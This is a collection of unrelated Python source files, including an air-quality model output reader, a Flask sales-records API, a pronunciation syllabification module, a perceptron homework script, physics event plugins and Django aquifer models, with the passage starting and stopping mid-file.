AEC and POC don't have K mode though\n \n #soalist should be considered later. \n modelaerosol = {}\n for k in aerlist:\n for i in sizemode:\n t=k+i\n if i == 'IJ':\n modelaerosol[k] = infile.variables[t][:,0,:,:]\n else:\n modelaerosol[k] = modelaerosol[k] + infile.variables[t][:,0,:,:]\n\n return modelaerosol\n\ndef datetime_range(start, end, delta):\n current = start\n while current < end:\n yield current\n current += delta\n \n#Main program starts here\ninoutputDir = '/data/lar/projects/Urbanova/'\noutputDir = '/data/lar/users/jmunson/'\n\n# =============================================================================\n# inoutputDir = r'E:/Research/Urbanova_Jordan/Urbanova_ref_site_comparison/Urbanova/'\n# outputDir = r'E:/Research/Urbanova_Jordan/'\n# =============================================================================\n\nstart = datetime.datetime(year=2018, month=1, day=11, hour=0)\nend = datetime.datetime(year=2018, month=12, day=31, hour=23)\n\n# Urbanova dimensions are 90x90. Change if for AIRPACT\nx_dim = 90\ny_dim = 90\n\ntimezone = pytz.timezone(\"utc\") #(\"America/Los_Angeles\")\nstart = timezone.localize(start)\nend = timezone.localize(end)\n# in order to convert the time zone: start.astimezone(pytz.timezone(\"America/Los_Angeles\")) \ninputlat=40\ninputlon=-120\n\n\n# read grid information\nmodelgrid = inoutputDir +start.strftime(\"%Y\")+'/'+start.strftime(\"%Y%m%d\")+\"00/MCIP37/GRIDCRO2D\"\nnc = Dataset(modelgrid, 'r')\nlat = nc.variables['LAT'][0,0,:,:]\nlon = nc.variables['LON'][0,0,:,:]\nnc.close()\n \n# sample lat/lon grid information \niy,ix = naive_fast(lat, lon, inputlat, inputlon)\n\n\n# prepare time loop to read AIRPACT output\ndate_diff =end -start\ndate_diff = int(round( date_diff.total_seconds()/60/60/24)) # total hour duration\n\nprint(\"start date is \"+ start.strftime(\"%Y%m%d\") )\n\nmodelarray={}\nhr=(end-start).total_seconds()/3600+1\nhr=int(hr)\n\ntimearray = np.empty( ( int(24), y_dim, x_dim), '|U18')\n \n# empty array\nlonarray = {}\nlatarray = {}\nhours = 0\nmodelarray={} \nmodelarraytime={} \nmodelarraylatlon = {}\nmodel = {}\nmodel['lat'] = inputlat\nmodel['lon'] = inputlon\n# now is the time variable used in the for loop\nnow = start\nmodelarraytime['DateTime'] = copy.copy(timearray)\n#%%\nfor t in range(0, date_diff):\n print(t)\n # read combined \n modeloutput= inoutputDir +now.strftime(\"%Y\")+'/'+now.strftime(\"%Y%m%d\")+\"00/POST/CCTM/combined_\" + now.strftime(\"%Y%m%d\") +\".ncf\"\n \n try:\n nc = Dataset(modeloutput, 'r')\n except FileNotFoundError:\n now += timedelta(hours=24)\n continue\n print(modeloutput)\n #create time array for 24 hours\n dts = [dt.strftime('%Y%m%d %H:00 PST') for dt in \n datetime_range(now, now+timedelta(hours=24), \n timedelta(hours=1))]\n \n \n if t<=0: \n # Read surface gas and aerosols concentrations from combined\n modelarray = readmodelgas(nc)\n modelaer = readmodelaerosol(nc)\n modelarray.update(modelaer) # combine gas and aerosols, so all tracers are in model\n \n model['time'] = dts \n \n # Run time loop that creates the first days dictionary of times\n for i in range(0, 24):\n timearray[i,:,:] = dts[int(i)]\n hours = hours+1\n\n modelarraytime['DateTime'] = copy.copy(timearray) # creates first days time. Needs copy.copy\n \n #for k in modelarray.keys(): \n # model[k] = modelarray[k][:,0, iy,ix]\n \n else:\n # Runs the different species grabbers and combines into a single thing\n gas = readmodelgas(nc)\n aer = readmodelaerosol(nc)\n gas.update(aer)\n \n # Run time loop that creates every other days time\n for i in range(0, 24):\n timearray[i,:,:] = dts[int(i)]\n hours = hours+1\n\n modelarraytime['DateTime'] = np.concatenate ( (modelarraytime['DateTime'], timearray)) # adds time values to array\n \n #gas.update(modelarraytime)\n # np.concatenate requires extra parenthesis \n model['time'] = np.concatenate( (model['time'], dts )) # accumulate time, but not useful.\n for k in modelarray.keys(): \n modelarray[k] = np.concatenate((modelarray[k], gas[k]))\n \n # This here adds the time array to the overall dictionary\n if t == len(range(0,date_diff))-1: \n modelarray.update(modelarraytime)\n \n # set lat/lon arrays to appropriate times\n latarray = np.zeros ( (hours,y_dim, x_dim) )\n lonarray = np.zeros ( (hours,y_dim, x_dim) )\n\n # Populate lat/lon dict\n for i in range(0,hours):\n latarray[i,:,:] = lat\n lonarray[i,:,:] = lon\n \n # Adds the lat/lon to dict\n modelarraylatlon['lat'] = copy.copy(latarray)\n modelarraylatlon['lon'] = copy.copy(lonarray)\n \n # add lat/lon to modelarray\n modelarray.update(modelarraylatlon)\n \n # How to accumulate modelarray over time\n now += timedelta(hours=24)\n print(now)\n \n nc.close()\n\n# Save the dictionary to be used\ndef save_obj(obj, name ):\n with open(name + '.pkl', 'wb') as f:\n pickle.dump(obj, f, pickle.HIGHEST_PROTOCOL)\n \nname = outputDir+'1p33_'+start.strftime(\"%Y%m%d\")+'_'+end.strftime(\"%Y%m%d\")+'_PST'\nsave_obj(modelarray,name)","sub_path":"Urbanova/read_urb_combined.py","file_name":"read_urb_combined.py","file_ext":"py","file_size_in_byte":6989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"192979252","text":"import csv\nimport os\nimport sys\n\ndef results_to_csv(filename):\n\n with open(filename, 'r') as infile:\n\n prev = -1\n current = -1\n\n name, ext = os.path.splitext(filename)\n\n with open(name + '.csv', 'w') as outfile: \n\n outwriter = csv.writer(outfile, delimiter=\",\")\n outwriter.writerow(['Profundidad', 'Nodos', 'Branching factor'])\n\n for line in infile:\n\n if current != -1:\n prev = current\n\n\n depth, nodes = int(line.split()[-1]), int(line.split()[0])\n current = nodes\n\n if prev != -1:\n branch = current/prev\n outwriter.writerow([depth - 1, nodes, branch])\n\n\n outfile.close()\n\n infile.close()\n\nresults_to_csv(sys.argv[1])\n\n \n\n\n\n\n\n","sub_path":"global/processTreeResults.py","file_name":"processTreeResults.py","file_ext":"py","file_size_in_byte":828,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"576921793","text":"class Node:\n\tdef __init__(self, x):\n\t\tself.value = x\n\t\tself.next = None\n\ndef addTwoNumbers(l1, l2):\n\tlist1 = Node(l1[0])\n\tlist2 = Node(l2[0])\n\tlist1_index = list1\n\tlist2_index = list2\n\t\n\tfor i in range(1, len(l1)):\n\t\tnew_node = Node(l1[i])\n\t\tlist1_index.next = new_node\n\t\tlist1_index = list1_index.next\n\n\tfor i in range(1, len(l2)):\n\t\tnew_node = Node(l2[i])\n\t\tlist2_index.next = new_node\n\t\tlist2_index = list2_index.next\t\n\n\ti1 = list1 # index for l1\n\ti2 = list2 # index for l2\n\n\t# The first term\n\tis_incremented = False\n\tnew_node = Node(0)\n\n\tif is_incremented:\n\t\tnew_node.value += 1\n\t\tis_incremented = False\n\t\n\tif i1 != None:\n\t\tnew_node.value += i1.value\n\t\ti1 = i1.next\n\tif i2 != None:\n\t\tnew_node.value += i2.value\n\t\ti2 = i2.next\n\t# 증가된 경우\n\tif new_node.value >= 10:\n\t\tnew_node.value -= 10\n\t\tis_incremented = True\n\n\tresult = new_node\n\tresult_index = result\n\t# The rest\n\twhile (i1 or i2) or is_incremented:\n\t\tnew_node = Node(0)\n\n\t\tif is_incremented:\n\t\t\tnew_node.value += 1\n\t\t\tis_incremented = False\n\t\t\n\t\tif i1 != None:\n\t\t\tnew_node.value += i1.value\n\t\t\ti1 = i1.next\n\t\tif i2 != None:\n\t\t\tnew_node.value += i2.value\n\t\t\ti2 = i2.next\n\t\t# 증가된 경우\n\t\tif new_node.value >= 10:\n\t\t\tnew_node.value -= 10\n\t\t\tis_incremented = True\n\t\tresult_index.next = new_node\n\t\tresult_index = result_index.next\n\n\n\t# PRINTING OUT\n\tresult_index = result\n\twhile result_index.next != None:\n\t\tprint(str(result_index.value), end=\" -> \")\n\t\tresult_index = result_index.next\n\tprint(str(result_index.value))\n\nif __name__ ==\"__main__\":\n\taddTwoNumbers([1], [9, 9, 9, 9])\n","sub_path":"addTwoNumbers.py","file_name":"addTwoNumbers.py","file_ext":"py","file_size_in_byte":1547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"426746484","text":"'''\nCopyright 2014 Bio-Rad Laboratories, Inc.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\n@author: Dan DiCara\n@date: Jun 1, 2014\n'''\n\n#===============================================================================\n# Imports\n#===============================================================================\nimport os\nfrom os.path import expanduser\n\n#===============================================================================\n# Platform-Dependent Configuration Settings\n#===============================================================================\nHOSTNAME = \"localhost\"\nPORT = 8020\nDATABASE_NAME = \"Bioinformatics_dev\"\nDATABASE_URL = HOSTNAME\nHOME_DIR = os.path.join(expanduser(\"~\"), \"gnubio-bioinformatics-rest_api\")\nTARGETS_UPLOAD_PATH = os.path.join(HOME_DIR, \"uploads\", str(PORT), \"targets\")\nPROBES_UPLOAD_PATH = os.path.join(HOME_DIR, \"uploads\", str(PORT), \"probes\")\nPLATES_UPLOAD_PATH = os.path.join(HOME_DIR, \"uploads\", str(PORT), \"plates\")\nRESULTS_PATH = os.path.join(HOME_DIR, \"results\", str(PORT))\nREFS_PATH = os.path.join(HOME_DIR, \"refs\")\nTMP_PATH = os.path.join(HOME_DIR, \"tmp\")\nTORNADO_LOG_FILE_PREFIX = os.path.join(HOME_DIR, \"logs/tornado_%s.log\" % str(PORT))\nMAX_WORKERS = 6\nDAYS_TO_EXPIRE = 30\n\n#===============================================================================\n# Platform-Independent Configuration Settings\n#===============================================================================\nARCHIVES_PATH = \"/mnt/runs\"\nRUN_REPORT_PATH = \"/mnt/runs/run_reports\"\nMODIFIED_ARCHIVES_PATH = \"/mnt/runs/run_analysis/modifiedH5\"\nDATABASE_PORT = 27017 # the Mongo port is well-known and pretty much constant\nMAX_BUFFER_SIZE = 2*1024*1024*1024 # Max file upload size: 2GB\nMAX_DATASET_SIZE = 15000000 # Collections over 15 million drops aren't allowed\n\nALTERNATE_ARCHIVES_PATHS = [\"/mnt/old-data\"]\n\n# MongoDb Collections\nTARGETS_COLLECTION = \"targets\"\nPROBES_COLLECTION = \"probes\"\nPLATES_COLLECTION = \"plates\"\nVALIDATION_COLLECTION = \"validation\"\nABSORPTION_COLLECTION = \"absorption\"\nPA_PROCESS_COLLECTION = \"pa_process\"\nFA_PROCESS_COLLECTION = \"fa_process\"\nPA_PLOTS_COLLECTION = \"pa_plots\"\nPA_CONVERT_IMAGES_COLLECTION = \"pa_convert_images\"\nSA_IDENTITY_COLLECTION = \"sa_identity\"\nSA_ASSAY_CALLER_COLLECTION = \"sa_assay_caller\"\nSA_GENOTYPER_COLLECTION = \"sa_genotyper\"\nDYES_COLLECTION = \"dyes\"\nDEVICES_COLLECTION = \"devices\"\nARCHIVES_COLLECTION = \"archives\"\nHDF5_COLLECTION = \"HDF5s\"\nPROBE_EXPERIMENTS_COLLECTION = \"probe_experiments\"\nPROBE_METADATA_COLLECTION = \"probe_metadata\"\nIMAGES_COLLECTION = \"images_collection\"\nRUN_REPORT_COLLECTION = \"run_reports\"\nEXP_DEF_COLLECTION = \"exp_def\"\nSA_EXPLORATORY_COLLECTION = \"sa_exploratory\"\n","sub_path":"bioweb_api/default_settings.py","file_name":"default_settings.py","file_ext":"py","file_size_in_byte":3517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"516903065","text":"\"\"\"This file contains logic and endpoints defined for v1 of the routes for sales\"\"\"\nfrom http import HTTPStatus\n\nfrom flask import Blueprint, jsonify, request\nfrom flask.views import MethodView\nfrom flask_jwt_extended import jwt_required, get_jwt_identity\n\nfrom src.data_access_objects.product_dao import ProductDataAccessObject\nfrom src.data_access_objects.sales_dao import SalesDataAccessObject\nfrom src.models.sales import Sale\nfrom src.roles import user_is_allowed_to, roles_required\nfrom src.utils.constants import RETRIEVE_SALE, DATA, RETRIEVE_OWN_SALE, CREATE_SALE, MESSAGE, USER_ID, QTY, \\\n PRODUCT_ID, NAME, AMOUNT\nfrom src.utils.exceptions import ApplicationException, InvalidPayloadFormat, NotEnoughStock, NotFound, \\\n InternalServerError, HTTPException, Forbidden, Unauthorized, get_invalid_usage_handler, get_http_exceptions_handler\nfrom src.utils.validators import SalesRecordValidators\n\n\nclass SalesRecordsEndpoint(MethodView):\n @staticmethod\n def get(identifier):\n if user_is_allowed_to(RETRIEVE_SALE):\n if identifier is not None:\n sales_record = SalesDataAccessObject.get_sales_record_by_id(identifier)\n if sales_record is None:\n raise NotFound(message=\"Sale with id {} was not found\".format(identifier))\n return jsonify({DATA: sales_record.to_dict()})\n return jsonify({DATA: [sales_record.to_dict() for sales_record in SalesDataAccessObject.get_sales()]})\n elif user_is_allowed_to(RETRIEVE_OWN_SALE):\n current_user = get_jwt_identity()\n if not current_user:\n raise Unauthorized()\n return jsonify({DATA: [sales_record.to_dict() for sales_record in\n SalesDataAccessObject.get_sales_made_by_user(current_user)]})\n\n else:\n raise Forbidden(message=\"You are not authorized to perform this action.\")\n\n @staticmethod\n @roles_required(CREATE_SALE)\n def post():\n sales_record_data = request.get_json()\n if not SalesRecordValidators.validate_sales_record_new(sales_record_data,\n ProductDataAccessObject.get_available_product_ids(\n False)):\n raise InvalidPayloadFormat(\n \"Sale({})\".format(SalesRecordValidators.validate_sales_record_new(sales_record_data,\n ProductDataAccessObject.get_available_product_ids(\n False), True)))\n user_id = get_jwt_identity()\n if not user_id:\n raise Unauthorized()\n sales_record_data[USER_ID] = user_id\n sales_record = Sale.from_dict(sales_record_data)\n for item_order in sales_record.items:\n if not ProductDataAccessObject.enough_products_in_stock(item_order):\n raise NotEnoughStock(\"The {} stock is not enough to make this sale\".format(\n ProductDataAccessObject.get_product(\n item_order[PRODUCT_ID]).name))\n\n amount = 0\n for item_order in sales_record.items:\n product = ProductDataAccessObject.get_product(item_order[PRODUCT_ID])\n items_cost = item_order[QTY] * product.cost\n amount += items_cost\n item_order[AMOUNT] = items_cost # add total cost of items\n item_order[NAME] = product.name # add item name since product can be deleted\n\n sales_record.amount = amount\n sales_record = SalesDataAccessObject.insert_new_sale(sales_record)\n if not sales_record:\n raise InternalServerError(\"The sale was not recorded.\")\n ProductDataAccessObject.update_product_qtys_from_sale(sales_record)\n return jsonify({DATA: sales_record.to_dict(), MESSAGE: \"Sales Record Added\"}), HTTPStatus.CREATED\n\n @staticmethod\n def generate_sales_records_endpoints(blueprint):\n sales_record_view = jwt_required(SalesRecordsEndpoint.as_view('sales_records_api'))\n blueprint.add_url_rule('', defaults={'identifier': None}, view_func=sales_record_view,\n methods=['GET'])\n blueprint.add_url_rule('/', view_func=sales_record_view, methods=['GET'])\n blueprint.add_url_rule('', view_func=sales_record_view, methods=['POST'])\n\n\ndef blueprint(app=None):\n sales_blueprint = Blueprint('api/v1/sales', import_name=__name__, url_prefix='/api/v1/sales')\n SalesRecordsEndpoint.generate_sales_records_endpoints(sales_blueprint)\n\n sales_blueprint.register_error_handler(ApplicationException, get_invalid_usage_handler(app))\n sales_blueprint.register_error_handler(HTTPException, get_http_exceptions_handler(app))\n # sales_blueprint.register_error_handler(Exception, get_exception_handler(src))\n # sales_blueprint.register_error_handler(JWTExtendedException, get_jwt_ext_exceptions_handler(src))\n\n return sales_blueprint\n","sub_path":"src/routes/v1/sales.py","file_name":"sales.py","file_ext":"py","file_size_in_byte":5096,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"489405478","text":"#encoding: utf-8\n'''\nCreated on Oct 15, 2014\n\n@author: tmahrt\n'''\n\nimport itertools\n\nfrom pysle import isletool\n\n\nclass NullPronunciationError(Exception):\n \n def __init__(self, word):\n super(NullPronunciationError, self).__init__()\n self.word = word\n \n def __str__(self):\n return \"No pronunciation given for word '%s'\" % self.word\n\n\nclass NullPhoneError(Exception):\n\n def __str(self):\n return \"Received an empty phone in the pronunciation list\"\n \n\ndef _lcs_lens(xs, ys):\n curr = list(itertools.repeat(0, 1 + len(ys)))\n for x in xs:\n prev = list(curr)\n for i, y in enumerate(ys):\n if x == y:\n curr[i + 1] = prev[i] + 1\n else:\n curr[i + 1] = max(curr[i], prev[i + 1])\n return curr\n\n\ndef _lcs(xs, ys):\n nx, ny = len(xs), len(ys)\n if nx == 0:\n return []\n elif nx == 1:\n return [xs[0]] if xs[0] in ys else []\n else:\n i = nx // 2\n xb, xe = xs[:i], xs[i:]\n ll_b = _lcs_lens(xb, ys)\n ll_e = _lcs_lens(xe[::-1], ys[::-1])\n _, k = max((ll_b[j] + ll_e[ny - j], j)\n for j in range(ny + 1))\n yb, ye = ys[:k], ys[k:]\n return _lcs(xb, yb) + _lcs(xe, ye)\n\n\ndef _prepPronunciation(phoneList):\n retList = []\n for phone in phoneList:\n if 'r' in phone:\n phone = ['r', ]\n try:\n phone = phone[0] # Only represent the string by its first letter\n phone = phone.lower()\n except IndexError:\n raise NullPhoneError()\n \n if phone in isletool.vowelList:\n phone = 'V'\n retList.append(phone)\n \n return retList\n\n\ndef _adjustSyllabification(adjustedPhoneList, syllableList):\n '''\n Inserts spaces into a syllable if needed\n \n Originally the phone list and syllable list contained the same number\n of phones. But the adjustedPhoneList may have some insertions which are\n not accounted for in the syllableList.\n '''\n i = 0\n retSyllableList = []\n for syllable in syllableList:\n j = len(syllable)\n tmpPhoneList = adjustedPhoneList[i:i + j]\n numBlanks = -1\n phoneList = tmpPhoneList[:]\n while numBlanks != 0:\n \n numBlanks = tmpPhoneList.count(\"''\")\n if numBlanks > 0:\n tmpPhoneList = adjustedPhoneList[i + j:i + j + numBlanks]\n phoneList.extend(tmpPhoneList)\n j += numBlanks\n \n for k, phone in enumerate(phoneList):\n if phone == \"''\":\n syllable.insert(k, \"''\")\n \n i += j\n \n retSyllableList.append(syllable)\n \n return retSyllableList\n \n\ndef _findBestPronunciation(isleDict, wordText, aPron):\n '''\n Words may have multiple candidates in ISLE; returns the 'optimal' one.\n '''\n if len(aPron) == 0:\n raise NullPronunciationError(wordText)\n \n isleWordList = isleDict.lookup(wordText)\n \n aP = _prepPronunciation(aPron) # Mapping to simplified phone inventory\n \n origPronDict = dict((newPron, oldPron)\n for newPron, oldPron in zip(aP, aPron))\n \n numDiffList = []\n withStress = []\n i = 0\n alignedSyllabificationList = []\n alignedActualPronunciationList = []\n for wordTuple in isleWordList:\n syllableList = wordTuple[0] # syllableList, stressList\n \n iP = [phone for phoneList in syllableList for phone in phoneList]\n iP = _prepPronunciation(iP)\n\n alignedIP, alignedAP = alignPronunciations(iP, aP)\n \n # Remapping to actual phones\n alignedAP = [origPronDict.get(phon, \"''\") for phon in alignedAP]\n alignedActualPronunciationList.append(alignedAP)\n \n # Adjusting the syllabification for differences between the dictionary\n # pronunciation and the actual pronunciation\n alignedSyllabification = _adjustSyllabification(alignedIP,\n syllableList)\n alignedSyllabificationList.append(alignedSyllabification)\n \n # Count the number of misalignments between the two\n numDiff = alignedIP.count(\"''\") + alignedAP.count(\"''\")\n numDiffList.append(numDiff)\n \n # Is there stress in this word\n hasStress = False\n for syllable in syllableList:\n for phone in syllable:\n hasStress = u\"ˈ\" in phone or hasStress\n \n if hasStress:\n withStress.append(i)\n i += 1\n \n # Return the pronunciation that had the fewest differences\n # to the actual pronunciation\n minDiff = min(numDiffList)\n \n # When there are multiple candidates that have the minimum number\n # of differences, prefer one that has stress in it\n bestIndex = None\n bestIsStressed = None\n for i, numDiff in enumerate(numDiffList):\n if numDiff != minDiff:\n continue\n if bestIndex is None:\n bestIndex = i\n bestIsStressed = i in withStress\n else:\n if not bestIsStressed and i in withStress:\n bestIndex = i\n bestIsStressed = True\n \n return (isleWordList, alignedActualPronunciationList,\n alignedSyllabificationList, bestIndex)\n\n\ndef _syllabifyPhones(phoneList, syllableList, isleStressList):\n '''\n Given a phone list and a syllable list, syllabify the phones\n \n Typically used by findBestSyllabification which first aligns the phoneList\n with a dictionary phoneList and then uses the dictionary syllabification\n to syllabify the input phoneList.\n '''\n try:\n stressIndex = isleStressList[0]\n except IndexError:\n stressIndex = None\n \n numPhoneList = [len(syllable) for syllable in syllableList]\n \n start = 0\n syllabifiedList = []\n for end in numPhoneList:\n \n syllable = phoneList[start:start + end]\n syllabifiedList.append(syllable)\n \n start += end\n \n return stressIndex, syllabifiedList\n\n\ndef alignPronunciations(pronI, pronA):\n '''\n Align the phones in two pronunciations\n '''\n \n # First prep the two pronunctions\n pronI = [char for char in pronI]\n pronA = [char for char in pronA]\n \n # Remove any elements not in the other list (but maintain order)\n pronITmp = pronI\n pronATmp = pronA\n\n # Find the longest sequence\n sequence = _lcs(pronITmp, pronATmp)\n\n # Find the index of the sequence\n # TODO: investigate ambiguous cases\n startA = 0\n startI = 0\n sequenceIndexListA = []\n sequenceIndexListI = []\n for phone in sequence:\n startA = pronA.index(phone, startA)\n startI = pronI.index(phone, startI)\n \n sequenceIndexListA.append(startA)\n sequenceIndexListI.append(startI)\n \n # An index on the tail of both will be used to create output strings\n # of the same length\n sequenceIndexListA.append(len(pronA))\n sequenceIndexListI.append(len(pronI))\n \n # Fill in any blanks such that the sequential items have the same\n # index and the two strings are the same length\n for x in range(len(sequenceIndexListA)):\n indexA = sequenceIndexListA[x]\n indexI = sequenceIndexListI[x]\n if indexA < indexI:\n for x in range(indexI - indexA):\n pronA.insert(indexA, \"''\")\n sequenceIndexListA = [val + indexI - indexA\n for val in sequenceIndexListA]\n elif indexA > indexI:\n for x in range(indexA - indexI):\n pronI.insert(indexI, \"''\")\n sequenceIndexListI = [val + indexA - indexI\n for val in sequenceIndexListI]\n \n return pronI, pronA\n \n\ndef findBestSyllabification(isleDict, wordText, actualPronunciationList):\n '''\n Find the best syllabification for a word\n \n First find the closest pronunciation to a given pronunciation. Then take\n the syllabification for that pronunciation and map it onto the\n input pronunciation.\n '''\n retList = _findBestPronunciation(isleDict, wordText,\n actualPronunciationList)\n isleWordList, alignedAPronList, alignedSyllableList, bestIndex = retList\n \n alignedPhoneList = alignedAPronList[bestIndex]\n alignedSyllables = alignedSyllableList[bestIndex]\n syllabification = isleWordList[bestIndex][0]\n stressedSyllableIndexList = isleWordList[bestIndex][1]\n stressedPhoneIndexList = isleWordList[bestIndex][2]\n \n stressedSyllable, syllableList = _syllabifyPhones(alignedPhoneList,\n alignedSyllables,\n stressedSyllableIndexList)\n \n # Count the index of the stressed phones, if the stress list has\n # become flattened (no syllable information)\n flattenedStressIndexList = []\n for i, j in zip(stressedSyllableIndexList, stressedPhoneIndexList):\n k = j\n for l in range(i):\n k += len(syllableList[l])\n flattenedStressIndexList.append(k)\n \n return (stressedSyllable, syllableList, syllabification,\n stressedSyllableIndexList, stressedPhoneIndexList,\n flattenedStressIndexList)\n\n\ndef findClosestPronunciation(isleDict, wordText, aPron):\n '''\n Find the closest dictionary pronunciation to a provided pronunciation\n '''\n \n retList = _findBestPronunciation(isleDict, wordText, aPron)\n isleWordList = retList[0]\n bestIndex = retList[3]\n \n return isleWordList[bestIndex]\n","sub_path":"pysle/pronunciationtools.py","file_name":"pronunciationtools.py","file_ext":"py","file_size_in_byte":9680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"407559628","text":"#!/usr/bin/python3\nimport math\n\namplitude = 100\ntable_length = 256\nmax_entries = 16\n\ndef runner(table_name, func, amplitude, table_length, max_entries):\n step = (2 * math.pi) / table_length\n point = 0\n entry = 0\n print(\"static int {}[{}] = {}\\n\\t\".format(table_name,\n table_length, '{'), end=\"\")\n for i in range(0, table_length):\n value = int((func(point) * amplitude) + amplitude)\n print(value, end=\"\")\n entry = entry + 1\n if entry == max_entries:\n entry = 0\n if i == table_length - 1:\n print(\"\\n\", end=\"\")\n else:\n print(\",\\n\\t\", end=\"\")\n else:\n if i < table_length - 1:\n print(\", \", end=\"\")\n else:\n print()\n\n point = point + step\n\n print(\"}\\n\")\n\nprint(\"#ifndef WAVE_TABLE_H\\n#define WAVE_TABLE_H\\n\")\nrunner(\"sin_table\", math.sin, amplitude, table_length, max_entries)\nrunner(\"cos_table\", math.cos, amplitude, table_length, max_entries)\n\nprint(\"#endif\\n\")\n","sub_path":"Python/pywave.py","file_name":"pywave.py","file_ext":"py","file_size_in_byte":1039,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"589322412","text":"'''\n2000. Reverse Prefix of Word\n\nGiven a 0-indexed string word and a character ch, reverse the segment of word that starts at index 0 and ends at the index of the first occurrence of ch (inclusive). If the character ch does not exist in word, do nothing.\n\nFor example, if word = \"abcdefd\" and ch = \"d\", then you should reverse the segment that starts at 0 and ends at 3 (inclusive). The resulting string will be \"dcbaefd\".\nReturn the resulting string.\n'''\n\nclass Solution:\n def reversePrefix(self, word: str, ch: str) -> str:\n pos = word.find(ch)\n if(pos!=-1):\n tmp = word[:pos+1]\n word = tmp[::-1] + word[pos+1:]\n return word","sub_path":"4.Leetcode/contest 258/1_reverse_prefix.py","file_name":"1_reverse_prefix.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"601370527","text":"import strax\nfrom straxen import pre_apply_function\n\nimport numpy as np\n\nexport, __all__ = strax.exporter()\n\n\n@export\n@strax.takes_config(\n strax.Option(\n name='event_info_function',\n default='pre_apply_function', infer_type=False,\n help=\"Function that must be applied to all event_info data. Do not change.\",\n )\n)\nclass EventInfo(strax.MergeOnlyPlugin):\n \"\"\"\n Plugin which merges the information of all event data_kinds into a\n single data_type.\n \"\"\"\n depends_on = ['event_basics',\n 'event_positions',\n 'corrected_areas',\n 'energy_estimates',\n # 'event_pattern_fit', <- this will be added soon\n ]\n save_when = strax.SaveWhen.ALWAYS\n provides = 'event_info'\n __version__ = '0.0.2'\n\n def compute(self, **kwargs):\n event_info_function = self.config['event_info_function']\n event_info = super().compute(**kwargs)\n if event_info_function != 'disabled':\n event_info = pre_apply_function(event_info,\n self.run_id,\n self.provides,\n event_info_function,\n )\n return event_info\n\n\n@export\nclass EventInfo1T(strax.MergeOnlyPlugin):\n \"\"\"\n Plugin which merges the information of all event data_kinds into a\n single data_type.\n\n This only uses 1T data-types as several event-plugins are nT only\n \"\"\"\n depends_on = ['event_basics',\n 'event_positions',\n 'corrected_areas',\n 'energy_estimates',\n ]\n provides = 'event_info'\n save_when = strax.SaveWhen.ALWAYS\n __version__ = '0.0.1'\n","sub_path":"straxen/plugins/event_info.py","file_name":"event_info.py","file_ext":"py","file_size_in_byte":1808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"479966490","text":"import numpy as np\nimport random as rd\nimport matplotlib.mlab as mlab\nimport matplotlib.pyplot as plt\n\ndef InputData():\n x = []\n y = []\n for i in range(400):\n inputList = input().split()\n x.append(np.array([float(1)] + [float(x_i) for x_i in inputList[:4]]))\n y.append(int(inputList[4]))\n return x, y\n\ndef Shuffle(x, y, _seed):\n tmp = list(zip(x, y))\n rd.seed(_seed)\n rd.shuffle(tmp)\n return zip(*tmp)\n\ndef PLA(X, Y, n):\n w = np.array([0.0, 0.0, 0.0, 0.0, 0.0])\n\n idx = 0\n numMistakes = 0\n while True:\n for i in range(idx, idx + n):\n wx = np.dot(w, X[i % n])\n if Y[i % n] * wx <= 0:\n w = w + Y[i % n] * X[i % n]\n idx = i\n numMistakes += 1\n continue\n break\n return numMistakes\n\ndef main():\n x, y = InputData()\n ans = []\n for t in range(1126):\n _seed = t ** 29\n xp, yp = Shuffle(x, y, _seed)\n ans.append(PLA(xp, yp, 400))\n\n # ans = sorted(ans)\n print(\"Average number of update is\", sum(ans) / len(ans))\n\n # Plot\n plt.hist(ans, bins=(ans[-1] - ans[0] + 1), facecolor='green', alpha=0.75)\n plt.xlabel('Number Of Updates')\n plt.ylabel('Frequency')\n \n plt.show()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"HW1/Prob7.py","file_name":"Prob7.py","file_ext":"py","file_size_in_byte":1308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"36423095","text":"\"\"\"\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n\"\"\"\nfrom django.utils import timezone\nfrom django.db import models\nfrom gwells.models import AuditModel\nfrom django.core.validators import MinValueValidator, MaxValueValidator\n\n\nclass AquiferMaterial(AuditModel):\n \"\"\"\n Material choices for describing Aquifer Material\n\n aquifer_materials\n -------------------\n Bedrock\n Gravel\n Sand\n Sand and Gravel\n \"\"\"\n code = models.CharField(primary_key=True, max_length=10, db_column='aquifer_material_code')\n description = models.CharField(max_length=100)\n display_order = models.PositiveIntegerField()\n\n effective_date = models.DateTimeField(blank=True, null=True)\n expiry_date = models.DateTimeField(blank=True, null=True)\n\n class Meta:\n db_table = 'aquifer_material_code'\n ordering = ['display_order', 'code']\n verbose_name_plural = 'Aquifer Material Codes'\n\n def __str__(self):\n return '{} - {}'.format(self.code, self.description)\n\n\nclass AquiferSubtype(AuditModel):\n \"\"\"\n Subtypes of Aquifer\n\n From Trello 